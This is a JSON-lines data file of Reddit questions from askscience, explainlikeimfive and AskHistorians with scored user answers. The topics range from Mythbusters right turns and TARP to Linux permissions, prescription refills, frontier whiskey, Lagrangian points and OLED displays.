{"q_id": "rmwih", "title": "Can you help explain this Mythbusters result?", "selftext": "Mythbusters examined whether you can save gas by only making right turns.\n\nIn their final experiment they drove a delivery truck around various locations - once with left and right turns, once with only right turns.\n\nThe path with right turns only:\n\n- Was longer\n\n- Took more time\n\n- Consumed less fuel\n\n\nWhy would this be the case?\n\nLink to video (it's a mini-myth, so only 2 minutes long):\n\n_URL_0_\n\n**EDIT**\n\nThe top response says it's \"because you're not stuck idling\". But, to reiterate, the *total duration* of the right-hand-only trip was **longer**. So either they spent even *more* time idling (not less), or they converted idle time to drive time. There has to be something else at play.\n\n**EDIT 2**\n\nI think these comments are the most convincing arguments so far (Currently not at the top, but will likely be there soon):\n\n_URL_1_\n\n_URL_2_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rmwih/can_you_help_explain_this_mythbusters_result/", "answers": {"a_id": ["c473ewa", "c473h4z", "c473i0w", "c4740sj", "c4744xq", "c474b0p", "c4753f6", "c475sk2"], "score": [3, 2, 48, 46, 716, 2, 5, 2], "text": ["It works because you're not stuck idling at traffic signals and burning fuel while you're not moving. Instead of waiting to turn left at a red light, you turn right enough times to end up at the same destination.", "Since it's difficult to know what, if any, controls were applied, I think there's more than enough uncertainty in both the hilliness of the terrain and the amount of acceleration and deceleration in traffic between the two routes to explain how a longer, more time-consuming route led to less fuel consumed. No need to invoke strange suggestions like differential wheel friction during turns themselves (which only comprise a tiny portion of the drive) -- the random variations of city driving are more than sufficient.", "They also did the myth completely wrong. The way they did it, they took 3 rights instead of a left, the way UPS does it is they have an algorithm that creates routes with maximum rights and minimum lefts. with a fleet of trucks, they reach every destination.", "Fuel consumption is not just about duration, it is about how hard the engine is working in conjunction with duration. When you are making left turns you are almost certainly going to be idling for a fair amount of time. Whereas with right turns there's a decent chance you can be coasting through most of them. This is assuming we're using major street with turning shoulders and merging lanes, rather than side streets with stop signs and such.\n\nThe key here is that although the right turn route may be physically longer and even take longer to navigate including lights and such, the demand on the engine could be less if they are coasting through the turns rather than stopping and having to get back up to speed. Idling and accelerating from a complete stop are almost always your points of lowest fuel efficiency because that's when the engine is working hardest(and therefore using more fuel) compared to the speed/distance you are achieving.\n\nI take a slightly longer way home from work every day because although I am spending more time on the road(maybe like 5 minutes more), I am saving plenty of gas by not having to deal with lots of stop and go traffic. The route takes longer, but my mpg is around 30 compared to 23 in traffic, so I get enough extra milage out of each tank of gas to more than offset the extra distance I travel.", "I'll give my best explanation here for you. I've logged more than a half million kilometers driving almost any vehicle imaginable over nearly any terrain you can think of.  I have a firm grasp of what affects fuel consumption in vehicles.\n\nA trip using right hand turns in of itself does not, and cannot change the fuel consumption of a vehicle. A turn is a turn, your vehicle does not care which direction it is turning. It still requires the same amount of fuel to propel the vehicle forward.\n\nHowever, the turns they were making were in the city. This changes things, because it is almost guaranteed that you will have to stop for a left hand turn. Right hand turns can be rolled through if you time them correctly. This is a key difference, because the most fuel is used by a vehicle's engine when accelerating. The more you speed up and slow down, the more fuel you will use. This is why highway fuel consumption is almost always less than city consumption, even though you are traveling at faster speeds. \n\nThe second point that I want to address is their test location. It looks to my unfamiliar eye to be San Fransisco; a city notorious for it's hills. Of course, driving up a hill requires more fuel than coasting down one. Driving a different route to the same stops will certainly ensure that the topography you encounter will not be identical, which could lead to skewed results.\n\nFurthermore, I'd like to address the point about the shipping company programming their GPS units to calculate a route that takes only right turns when possible. There are several reasons for which you would want to do this when running a delivery service. \n\nFirst, right turns are inherently safer. I'm certain that a company operating a fleet of vehicles would see a decrease in liability exposure from collisions due to left turns.\n\nSecondly, because the road system in North America is designed for left hand drive vehicles, by making right turns only it is easier to ensure that you arrive in front of the building you intend to stop at, instead of across the street. This strategic planning can save minutes at every stop, which is crucial when your day consists of potentially hundreds of stops.\n ", "The stopping and starting motion in a combustion engine consumes more fuel than moving at more consistent rates. This is the exact reason why most cars advertise their City mileage and Highway mileage, with the highway being significantly more fuel efficient. \nYou can think about it this way, if you are trying to push a car is it easier to push when its already moving, or when it is stopped? Its the same physics for a combustion engine, just instead of your energy it is using fuel to get the force needed accelerate the car forward. When only taking right hand turns you will hardly ever have to come to a complete stop, and therefore save on gas.", "Can't forget that it is going to take a lot more energy to get that truck moving again after stopping for lefts, or stopping at lights. \n\nTake the turns out of the equation, and imagine 2 trucks driving side by side. Truck A speeds up, comes to a full stop and waits, and takes off again, repeating this. Truck B accelerates, periodically slowing down, but not stopping completely, or if it does stop, it is only briefly, but far less frequent than Truck A.\n\nEven though Truck A may have less distance to go, and take less time to get there, it's using much more fuel to constantly accelerate and stop. \n\nTruck B's trip is longer, and takes longer, but since he hardly stops, he uses less fuel.\n\n", "It takes less energy to keep an object in motion than to set it in motion.\n\nYou stop less making right turns."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=ppCz4f1L9iU", "http://www.reddit.com/r/askscience/comments/rmwih/can_you_help_explain_this_mythbusters_result/c4744xq", "http://www.reddit.com/r/askscience/comments/rmwih/can_you_help_explain_this_mythbusters_result/c4740sj"], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "55w5ei", "title": "tarp funds", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/55w5ei/eli5_tarp_funds/", "answers": {"a_id": ["d8eh4c4", "d8eq2bx", "d8eq9ax"], "score": [7, 5, 2], "text": ["The Troubled Asset Relief Program, was a law that authorized the US Treasury to make direct investments (via non-voting preferred stock) and purchase illiquid, hard-to-value assets from banks that were suffering large losses following the bursting of the residential housing bubble.  The funds were also used to bail out AIG, which had backed an enormous number of mortgage backed securities.  \n\nA very simple overview is if you've seen, \"It's a Wonderful Life\" imagine if instead of George Bailey investing his honeymoon money back into the Building and Loan, the government had bought some of their mortgages providing more than enough cash to meet their depositor's withdrawal requests.  \n\nIt originally authorized up to $700 billion, but only about $430 billion was actually used (the limit was reduced a few years after the original bill passed).  ", "Also, some of the money went to fund HAMP loans (Home Affordable Modification Program).  As u/bulksalty pointed out, TARP was designed to stem the economic bleeding following the burst in the housing bubble.  Lots of borrowers were caught on the wrong side of poorly underwritten, risky, adjustable rate mortgages.  When the introductory rate period ended and interest rose, they couldn't make payments and faced foreclosure.  This is a large part of what caused so many mortgage-backed securities to fail.  The HAMP program used TARP money to help home-owners refinance those loans into fixed interest rate loans (with the now much lower interest rates) when they normally wouldn't have been able to afford it or otherwise qualify.  In general, this was better than just cutting big banks a check, since it not only helped dig the banks out from under the weight of bad loans, but helped home-owners avoid foreclosure.", "The US government took the hard-earned money of its citizens and gave it to banks that gambled on real estate and lost."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3l008h", "title": "linux/unix permissions", "selftext": "What's the difference between file ownership and the file's group management? Why is there three commands associated with ownership (chmod chown chgrp)? What do the three numbers mean? \n\nFor someone with no education in programming, I have a decent understanding of bash and linux. This stuff just always went over my head.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3l008h/eli5_linuxunix_permissions/", "answers": {"a_id": ["cv1zwut", "cv21y3s", "cv2329f"], "score": [2, 2, 2], "text": ["Chown is \"change owner\". It sets which user ID owns the file. Chgrp is \"change group\" and that sets which group the file belongs to. \n\nChmod changes the mode, which is the permissions that people have to it. The three numbers are for owner, group and everyone. It's binary math. The ability to read a file has a value of 4. The ability to write the file has a value of 2, and the ability to execute (run it as a program if it's a file, or see the contents of its a directory) is 1. Add them together to get the permissions you want. So, if you want someone to read and write a file, that is 6. If you want only the owner to read and write the file, and group and everyone to read it, that is 644. If you want owner to read and write, group to read, and everyone else to have no access, that would be 640. ", "    own grp all\n    --- --- ---\n    rwx rwx rwx\n\nYou have three sets of permissions, one for the ownrt, one for the group, and one for everyone.  The owner would be a specific account, the group is a collection of accounts set up by the sysadmin, and everyone is everyone.\n\nIf you have a permission, it is a 1, if you don't, it is a 0.  Convert to octal, and you have the number.\n\nSo, if you wanted the owner to have read write, and execute, the group to have read and execute, and all to have read, it would look like this:\n\n    rwx r-x r--\n    111 101 100\n    7   5   4\n\nSo you would use chmod 754 filename to set that permission.\n\nchgrp and chown are used to change the owner and group the file belongs to.\n\n\n\n", "You have groups and users.  Users are members of groups.\n\nFile permissions can be set for Owner, Group, and Everyone.\n\nThat means you can create a file, and set it to where only you and people in your group can access that file.  Or you can set it to where only YOU can do anything to it.  The permissions include read, write, and execute.  You can make a file that you can edit, your group can read, and everyone can execute, for example.  That would be handy for a script that you set up for someone to run.  (but you don't give them write permission so they can run it but can't modify the script contents)\n\nLinux permissions seem difficult to start with but once you understand it, you'll find that it's quite brilliant.\n\nchmod is for changing the file or folder's permissions.\nexample: chmod 777 ThisFile.txt\n(sets ThisFile.txt to WIDE open permissions)\n\nchown: chown obama:federal ThisFile.txt\n(sets ownership of ThisFile.txt to obama (user) and federal (group)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ri07z", "title": "why do doctors give you a prescription with a limited number of refills for a medication they know you need to take for possibly the rest of your life?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ri07z/eli5_why_do_doctors_give_you_a_prescription_with/", "answers": {"a_id": ["cwo6hf8", "cwo6jap", "cwo6kyp", "cwo8c1f", "cwo9gwl", "cwoance", "cwoiykp", "cwoj272", "cwoj2fc", "cwojhlo", "cwojvjy", "cwokfis", "cwokhl8", "cwolu67", "cwomnf4", "cwonh8u", "cwony84", "cwoo14j", "cwooarl", "cwoojzs", "cwoolqi", "cworlg3", "cwot1wa", "cwot8t7", "cwoxlfj", "cwoy6bk"], "score": [590, 24, 3, 5, 114, 11, 3, 2, 8, 2, 3, 3, 2, 2, 10, 4, 5, 2, 2, 2, 2, 3, 2, 2, 2, 2], "text": ["Because your dosage needs may change. If you are given a prescription for hypertension, the doctor wants to evaluate how well it's working. If your blood pressure is high, then the dosage may need to be adjusted.", "Imagine you need 10mg of drugx to keep your blood pressure down.  The doctor prescribes it for life and you keep taking it.  All good, right?   Now what if you gain 20 lbs over the next six months which increases your blood pressure and the 10mg of drugx is no longer strong enough of a dosage to bring your blood pressure down to normal levels.\n\nA simple doctor visit would detect the extra weight and your increased blood pressure, so the doctor would prescribe 30mg of drugx.  He/she would also recommend that you exercise more and change your diet to lose those extra lbs.", "Several factors contribute, different people have different opinions on which are dominant:\n\n1) Conditions change over time, and yours should be monitored to make sure the medicine is still helping. Additionally, new and improved treatments come out regularly so it's a good idea to have a doctor ensure it's still the best course of action. Cynics will also note this means you have to keep seeing a doctor every year or so.\n\n2) It prevents abuses for certain types of controlled substances; even if you have a legitimate use for a powerful painkiller or something similar, there is the potential for someone to take advantage of a lifetime perscription for profit. \n\n3) There could be issues with lifetime perscriptions not ending correctly when the patient finally dies, further creating opportunities for abuse.", "For starters, a Rx is only good for a year so the most you'll every get is 11 refills and that's not uncommon. As others have noted, you may need to get periodically evaluated and have your dosage changed. Having fewer refills mitigates the chance that the pharmacy will fill the 10 mg Rx when you're supposed to get the 20 mg one. If you have multiple refills on both may cause problems and since doctors have to assume the responsibility, they give less refills. Controlled substances (C3-C5) have limits on number of refills and schedule 2 drugs need a new Rx every month. ", "Pharmacy School student, Pharmacist Intern, and prior long time pharmacy technician here.\n\nThere are a lot of reasons. The most obvious reason is the law. By Federal and various State laws, prescriptions have limits. The absolute maximum, Federally, is 1 year for non-controlled legend drugs (your usual prescription stuff), 6 months or 5 refills (whichever is less) for schedule 3, 4, 5 drugs. Schedule 2 drugs require a written prescription every time and can't be refilled, though there are some states that allow doctors to write multiple prescriptions at the same time, at their discretion, up to three, for the same patient and drug to be filled at different times.\n\nThat's the law.\n\nPractically, the law exists because we want to ensure people's therapies are being monitored, physicians also want to make sure people have office visits (how they make money), and you want to make sure that controlled substances have a tighter rein to prevent diversion.", "Patient compliance is a constant fight for medical providers. Some medications taken for life require laboratory checks to ensure your kidneys and liver is functioning properly. Most patients given a life-time supply of refills just won't revisit the doctor for these checks and can have potentially fatal issues because of it.\n\nI prescribe a drug called Mobic (Meloxicam)  for chronic joint pain. My patients whom are on this for their life-time only get a 3 month supply. This way when they come back to me for a refill I can order the labs to ensure they haven't killed their liver. If I find out their liver is starting to show early signs of failure I can now adjust the dosage or change medication entirely.", "This was the biggest reason I stopped taking my mood stabilizer medication.  While it was helping \"some\" it was more of a stressful situation having to call the doctor's office every month to have it refilled.\nThe office would fail every single time to refill the prescription after I'd called it in, and I'd often miss 2-3 days worth of doses. Having to call and go to the pharmacy several times.  Huge pain in the ass.\n\n", "There are a number of reasons:\n\n1) The required dose may change\n2) All drugs have side effects, and these need to be monitored. This way the doctor ensures you will come back and can be monitored for adverse effects of the drugs, some of which can be life threatening (liver or kidney damage being two common ones).\n3) You may decide to start taking something else you read about on the internet or in a magazine (supplements, herbs, etc) -- these can cause interactions with the prescribed medication, and this needs to be known and dealt with.\n4) Some insurance companies won't authorize more than a 90 day supply.\n \nThere are many, many more reasons, but these are probably the most common.", "To add to a lot of the comments that are already here, there is another possibility that hasn't been touched on yet.\n\nThere are *constantly* new medications coming out that might be a better fit for you than the medication you are already on. Even if what you're taking now is working well, there might be something that has fewer side effects or is cheaper to you that has hit the market. I'd want to check on that at least annually if I were taking a prescription for the rest of my life.", "I know the dosages issue was brought up, but if youre someone with great insurance, or any insurance for that matter, you could just go get refills at whim and re-sell those drugs to people with worse/no insurance at a gain. This is the reason theres so much adderall floating around college campus'. \"I just cant seem to focus with one pill a day, Doc\"", "Because they want to come back at least once or twice a year for a follow-up appointment, check and chart your status, adjust dosage etc. It would be irresponsible of them to not do so.\n Also scrips are only good for one year.", "Well, it depends on the drug in general and why you are being prescribed it, but assuming it's a daily use drug, they give limited numebrs of pills/refills in order to ensure compliance with the doctor's orders and keep the patient following up for what's called Medication Management. \n\nMedication Magement is exactly that. It's entire purpose is to track how you are responding to medication, how the dosage is affecting you and to track your general health and wellbeing. Some times doctors will want to increase the dosage if they don't feel the effects are having their achieved dosage or they could want to step you up slowly over time. How your body interacts with the drug may change over time as well and these changes need to be monitored. There are also some drugs which have potentially severe side effects that must be checked for as well. Accutate, for example, can cause serious damage to the human body and needs to be monitored by a physician regularly in order to ensure that there are no abnormal signs of potential damage as a result of treatment. There are also side effects that may have late onset or be triggered by an unusual event or trigger which seeing a Doctor will help determine a right course of treatment for handling that. Finally, there is also the issue of transitioning from one medication to another, or off medication all together. Not all drugs are the same. There are drugs that require serious control and planning to get off of and others that can be stopped cold turkey. Take Cymbalta for example. Cymbalta can cause withdrawl symptoms if stopped cold turkey and requires a very serious step down plan under the guidance of a physician. \n\nUltimately, it's about making sure the patient is cared for with the highest standard of care. A Doctor giving a patient a 12 Month fill is borderline neglegent and that's a bad thing no matter how you slice it. ", "What annoys me isn't the limited prescription, it's my insurers' failure to pay for them.  I'm on blood pressure meds and my cardiologist put me on 3 month prescriptions.  However two separate insurance providers so far will only pay for one month at a time, forcing me to go the the pharmacy 3 times as often as I should be.  ", "I take allopurinol for gout.  I'll need to take it for the rest of my life.  If my dosage changes it will be painfully obvious but not life threatening.  No one is getting high off of allopurinol and its very inexpensive. The drug has been around for 100 years so it's pretty well known how it affects people.  I argued with my doctor about this recently and he said, basically, that they'd be negligent if they didn't see me at least once a year to check up on me.  i guess that makes sense.", "Doctor here.\n\nLet me just say that the whole \"making money\" argument doesn't really apply. \n\nYes, there are criminals who are doctors who purposefully misuse their prescription abilities to either defraud patients or insurance companies. That's not who I'm talking about.\n\nMost doctors will tailor the refills on prescriptions for a purpose. If it's something simple like dressing supplies or vitamins I may give up to year of refills. If it's antibiotics, I won't do the same. The idea is not that I'm dragging patients back to the office to make that copay (if the patient even has insurance), but to make sure that the patients are doing okay, the problem is resolved, or if I'm concerned that changes need to be made.\n\nFor some doctors, making copays can be substantial, especially in a high volume family practice office. But for most doctors it isn't the primary source of income for the office. As a surgeon, this is especially true for me. Surgeons who perform a procedure on a patient are not allowed to collect copays for 90 days after the initial procedure. And trust me, insurance companies screw us in every way possible...sometimes I'll make less than 10 cents on the dollar for what I bill. And I don't make up the fees- these are almost always standards based on what Medicare allows. (So I can't charge you $10k to remove a mole, for example.)\n\nThe other thing that comes up is pain meds. Why does the doctor have to see you again before he can prescribe you some pain meds (or whatever)? Chances are you haven't seen the doctor for 6+ months or are asking for something you've never seen them for before. Well, the doctor isn't trying to steal $35 or $50 from you or whatever your copay is. They know that it isn't convenient or easy to come in to the office sometimes. Fact of the matter is, there's a reason you need whatever you are asking for- which means there's either a new problem or something has changed. And it's in your best interest to have a reasonable visit with your doctor, even though it may be immensely inconvenient for you.\n\nLastly, there's the issue of liability. There are limits on prescription amounts and frequency for patient safety. That's straight up legislation. But doctor's also have to be careful of what we prescribe for our own safety too. Misuse, misconception, or abuse of prescription medication can be dangerous for patients, but it's our ass on the line too. Aside from the fact that I don't want to be directly responsible for someone's overdose and the fact that I'm sworn to a profession that protects you (even from yourself), I also don't want to get hit by some bankrupting/career ending lawsuit over some prescription I wrote.\n\nAnd don't get me started about getting hit up for prescriptions by friends or neighbors. That never ends.", "First, narcotics can only prescribed monthly now, without refills. Other drugs, you can't refill more than twelve times a year because prescriptions expire after a year. \nSecond, a lot patients won't follow up, so it forces patients to follow up to see how well the meds are working before giving more. Once they see it doing it's job, then they'll give you a prescription with more refills.\nThird, a lot of insurance companies won't allow more than a month supply, or a three month supply, depending on plan and drugs.\nLastly, a lot of drugs are not safe to be taken for an extended period of time, so, again, it forces patients to come back and possibly consider alternatives.", "Because they're rent-seeking assholes. I will have asthma for the rest of my life and the only OTC medication was taken off the market. So now what used to cost $10 per inhaler costs me $70 per inhaler and on top of that I have to take time off of work and pay $60 every three months to go back to my quack and prove to her that I still have asthma.", "Medical and related pharmaceutical and insurance companies are all in cahoots. One big scam.", "Haven't filled the prescription for my anxiety medication for 3 weeks because I can't afford a doctors visit. Been having panic attacks and chest pain and other horrible shit, but what can you do when a visit will cost anywhere from 150-300$ up to thousands if you need advanced testing?", "I had a doctor tell me one time that he will give enough refills to last fill he feels he needs to see the person again. Then they make an appointment to get more meds, he checks them out and its win win I guess. Otherwise, most people will just never come in for a follow up.", "Because the doctor wants you to make a medication followup appointment just to check how everything's going.  ", "If you have a medical condition that requires medication you should be regularly evaluated by your primary care doctor. Chronic conditions aren't always stable as body processes are dynamic.\n\nAlso medicine is, unfortunately,  a business and requiring that you return for refills ensures you come back.\n\nSometimes dosages need to be changed based on how you, individually,  react to a medication.", "For the purpose of a followup appointment to check on how the meds/dosage is working for the patient. Also, some countries have laws depending on the category/schedule of the drug.", "Prescriptions expire after 12 months of the day they're written.\nControlled substances: 6 months.\n\nThose are laws the pharmacy must follow so there is no point for the Dr. to write for more.", "A controlled drug can sometimes not have any refills/limited number of refills before you need to see doctor and get a written prescription again; also the doctor needs to make money, on top of that, if you don't go do checkups the medicine could have some adverse effect you're unaware of.", "I feel as if the law surrounding refills is being left out of this discussion (or perhaps I missed any comments regarding it in the first hundred posts or so).\n\nControlled drug prescriptions will, by US federal law, expire in 6 months.  I am not currently aware of any state that sets, by law, an expiration date of longer than 18 months on non-controlled prescriptions (If there is a pharmacist/doctor in a state that allows this, please feel free to correct me.  The states I am licensed in max at 12-18 months). \n\nThe reasons for these laws are discussed at length in the other comments, so I won't go into it. However, the fact is, doctors *can't* give you a prescription with unlimited refills. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4m4x6k", "title": "what is the difference between \"literature\" and \"regular fiction books\" and who gets to make the official distinction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4m4x6k/eli5_what_is_the_difference_between_literature/", "answers": {"a_id": ["d3slmej"], "score": [2], "text": ["There isn't a strict difference. When people speak of \"literature\" in this way, it's a lot like \"art.\" They mean the sort of thing that is new, that understands and plays with conventions, which can be the subject of interpretation and criticism.\n\nNo one can make an \"official\" distinction. This or that editor may feel a work is not good enough for his literary magazine, but just as there are urinals in modern art museums now, there may always be a group of critics that find it interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ejs4b", "title": "I have been watching Deadwood, what would the whisky they are drinking have been? Would it have been imported Irish or Scotch, if so what distillery?", "selftext": "EDIT: Thanks for the responses everyone, some really interesting information here.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ejs4b/i_have_been_watching_deadwood_what_would_the/", "answers": {"a_id": ["ctfp3qw", "ctfte9g"], "score": [483, 179], "text": ["Neither. It would most likely be locally distilled, or imported from the east coast. Distilling whisky was an important part of the American economy since before the union was formed. Enacting an excise tax on whisky production in 1791 led to one of the first crises of the newly formed country.  _URL_0_", "It would likely have been corn whiskey, distilled in towns near corn farms in the Ohio River Valley (Ohio, Indiana, Illinois, Kentucky) and then a few decades later, the Midwest (with regards to corn: Iowa, Missouri, Nebraska, and Kansas). The population of these regions was increasing dramatically with farmers (often Scotch-Irish and English immigrants who brought with them whiskey distilling knowledge) in search of larger, cheaper, more fertile land. \n\nThe fertility of this soil is legendary. Glaciers retreating during the last Ice Age churned up the earth cycling nutrients to the top soil and it had never been planted (no erosion, no nutrient loss, full of nitrogen fixing bacteria, and humus -- the component in soil that holds moisture, much of which has been lost in American soil due to industrial, monoculture farming and heavy use of artificial fertilizers). The settlers farming this land knew none of this, but found that corn took extremely well to this soil. Corn soon became the chief cash crop of the frontier.\n\nAll this soil fertility led to a huge corn surplus. But there was no transcontinental railroad system, road network, or any other reliable way to send fresh, dried, or milled corn back to the population centers of the East Coast in economically viable quantities. There were two ways to create value using the surplus corn: pigs and whiskey. Both turned large quantities of corn into concentrated products that could be transported. Pork was salted, whiskey was barreled -- neither spoiled easily.\n\nThe surplus of corn made whiskey so cheap that it led to America's first public health crisis: mass alcoholism. Regular working people could now afford as much as a liter of whiskey per day. Fathers abandoned their families, domestic violence skyrocketed, people were drinking on the job (the concept of \"Elevenses\" was created in this era -- it refers to stopping work at 11AM to have a drink of whiskey, in addition to a breakfast, lunch, and dinner whiskey). Soon after, the temperance movement was born culminating in prohibition.\n\nSo this is the history that gave rise to Western saloons and the image of the whiskey-soaked cowboy. Corn is closely tied to many major developments in American history: it has a major role in the creation of cities like Chicago, Kansas City, St. Louis, and Cleveland, it allowed for America's first modern military mobilization (WWI), it allowed America to win the agricultural Cold War, it has made America a hegemon in processed food production, and on and on. Corn is up there as one of the most important products/inventions in American history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mountvernon.org/research-collections/digital-encyclopedia/article/whiskey-rebellion/"], []]}
{"q_id": "5akdq8", "title": "Is there a certain amount of \"real estate\" at the a given Lagrangian point? Could we potentially put too many stations, observatories, or other spacecraft there and run out of room?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5akdq8/is_there_a_certain_amount_of_real_estate_at_the_a/", "answers": {"a_id": ["d9h7khs", "d9ho6mg"], "score": [134, 21], "text": ["Sort of. The further you are from the Lagrangian point, the further your actual behavior will be from the theoretical behavior exactly at the Lagrangian.\n\nAt an unstable Lagrangian, that means that the further you are from it, the faster you will diverge from the point. A station that wanted to sit at an unstable Lagrangian would need to periodically make small adjustments to its trajectory to \"realign\". The further from the actual precise point you are, the more frequent and larger those adjustments would need to be.\n\nAt a stable Lagrangian, that means the further you are from the point, the less of a stabilizing effect you will experience; your orbits around the stable point will be larger and less predictable. A station at a stable Lagrangian could do without course-corrections, depending on how much \"meandering\" you're willing to accept. As you get far enough away, you would realistically need course-corrections in order to avoid other objects (like the other stations).\n\nBoth effects are gradual; there wouldn't be a sharp cutoff between \"this station is in the 'Lagrangian Zone' and this other one is not.\"\n\nEdit: Obviously, the assumption is that you have to have some space between the actual objects you're putting up. If you are imagining these stations/spacecraft being literally pressed up against each other, there's effectively limitless (by Earth standards) real estate. But in practice you will want quite a bit of separation.", "The few satellites that are at the L1 point between the Earth and the Sun are actually orbiting around the L1 point.  This is because if the satellite were exactly at the L1 point, you couldn't communicate with it, since the Sun would be an overpowering noise source.  Therefore, you have to be away from the L1 point.  The ACE, WIND, and SOHO satellite orbit at about 30 Earth-radii away from the L1 point (L1 is about 235 Earth-radii away from the Earth, for scale).  Therefore, there is plenty of room there for lots of stations and satellites."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "71eq45", "title": "I am the most famous chef in Rome at the height of the empire. What are my ingredients, where do they come from, and how do I get them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/71eq45/i_am_the_most_famous_chef_in_rome_at_the_height/", "answers": {"a_id": ["dnb5tjy", "dnbl8f6"], "score": [9, 12], "text": ["And a follow up, do we actually know of any famous roman chefs? ", "There is actually a [whole cookbook about this](_URL_0_) that generally forms the bulk of attempts to reconstruct Roman cuisine. There are other recipes scattered across the corpus of classical literature (Pliny the Elder and Cato being two notable examples), but attempts to reconstruct cooking, particularly the highest status of cooking, is going to rest on Apicius. It is worth while to jump around the link to get a sense of what Roman \"feast dishes\" might be.\n\nBut to directly answer your question: Pretty much anything you can think of would be available, provided it came from the Old World. You want roasted parrot? It's in the book. Ostrich? There is a whole section on them. You want to make a scrumptious giraffe neck? It's been found in Pompeii. There is a real element of conspicuous consumption in elite Roman dining, in which exotic ingredients would be prized for their exoticness.\n\nAs for how you get them, there were some ingredients, like black pepper from India, that were so common that you could simply buy them in shops. But it is a bit harder to know how that giraffe leg ended up in a Pompeii midden. Mosaics from North Africa suggest that hunting exotic animals for export was something of an industry there, but what happened after the ship landed in Italy is a bit more difficult to suss out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Apicius/home.html"]]}
{"q_id": "39x4fz", "title": "why do multi-message sms get received out of order sometimes", "selftext": "When someone sends a long text, why is it that it comes out of order?\n\nAlso, sometimes the text gets cut off and puts \"null\" before the last part, and I only receive that part. What's going on there?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39x4fz/eli5_why_do_multimessage_sms_get_received_out_of/", "answers": {"a_id": ["cs7ayy5"], "score": [2], "text": ["SMS does not have guaranteed delivery.  That is, there is no assurance that SMS will be received at all, much less in any particular order.\n\nTypically messages only get lost or delayed when the networks are overloaded or failing so if it happens frequently, it might be an early warning that you should be looking for a different carrier."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5el2df", "title": "What does it mean for something to be a semi-stochastic process as opposed to a stochastic process?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5el2df/what_does_it_mean_for_something_to_be_a/", "answers": {"a_id": ["dadjkv7"], "score": [3], "text": ["A semi-stochastic process is simply a process that involves both deterministic and stochastic steps.\n\nA simple example would be estimating the average slope of a line by randomly picking points and taking the derivative at those points and averaging."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3rlxtc", "title": "why could i play on the swing for hours as a child, but now as an adult, i feel sick almost immediately?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rlxtc/eli5_why_could_i_play_on_the_swing_for_hours_as_a/", "answers": {"a_id": ["cwp9pn8"], "score": [8], "text": ["Motion sickness is caused when the fluid in a little organ in your inner ear which is responsible for helping you balance yourself sloshes around too much, and is often made worse when your vision is having trouble stabilizing on a specific object that gives you a frame of reference for the movement. \n\nBody says \"I'm moving\", eyes say \"no I'm not\" or \"I ain't moving like that though\", brain thinks \"I must be hallucinating because body and eyes don't agree\", stomach says \"It might be poison. All personnel, evacuate the area!\", brain thinks \"I could really use a toothbrush right now\". \n\nThat's why if you're feeling seasick on a boat you should look at the stable horizon rather than go inside where everything is still, or not look down and read in a car if you start feeling a little dizzy. \n\nDifferent people can have different tolerances for motion sickness at different times of their lives, and part of it could be that your inner ear (and the level and amount of fluid in it) also grew as you got larger, and it's more capable of detecting and reacting badly to movement since there's more fluid to crash around in there on your swing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7tmurb", "title": "how does transparent tv work?", "selftext": "I'm talking about something like this:\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7tmurb/eli5_how_does_transparent_tv_work/", "answers": {"a_id": ["dtdv1ss", "dtdve7r"], "score": [9, 6], "text": ["Short answer: The same as your black screen TV, just with transparent material instead of the black material.\n\nLess short: OLED displays have [a bit of space between the diodes](_URL_0_) that make up the pixelsand while they need some of it for the circuits, there's still room there that can be made into glass.\n\nSo if you were in person it would look shaded, but under heavy magnification you could see all of the black dots of the inert diodes.\n\nThis is just the beginning. It's already possible to make flexible screens, and to make screens that don't light up. Imagine animated clothing. Imagine buying TV screens by the foot like fabric. ", "That TV is apparently using OLED technology.  This is similar to an LCD screen, except it doesn't require a backlight, and therefore it doesn't require an opaque material to reflect and defuse the light from behind the screen.  While LCDs work by filtering light passing through them, OLEDs generate their own light internally instead.\n\nOLED screens require two electrodes for each cell.  Typically the front electrode is transparent, and the rear is opaque.  There's no real technical reason this *has* to be true though, so I would assume they simply made both electrodes transparent.  While I'm sure there's all kinds of very complex engineering that went into making the mechanism of the screen hidden from a typical viewing distance, there's no huge mystery about the basics of the technology."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/INEEEEDIT/comments/7tjkla/this_transparent_tv/"], "answers_urls": [["https://9to5mac.files.wordpress.com/2016/04/samsung_galaxy_note_2_subpixels.jpg"], []]}
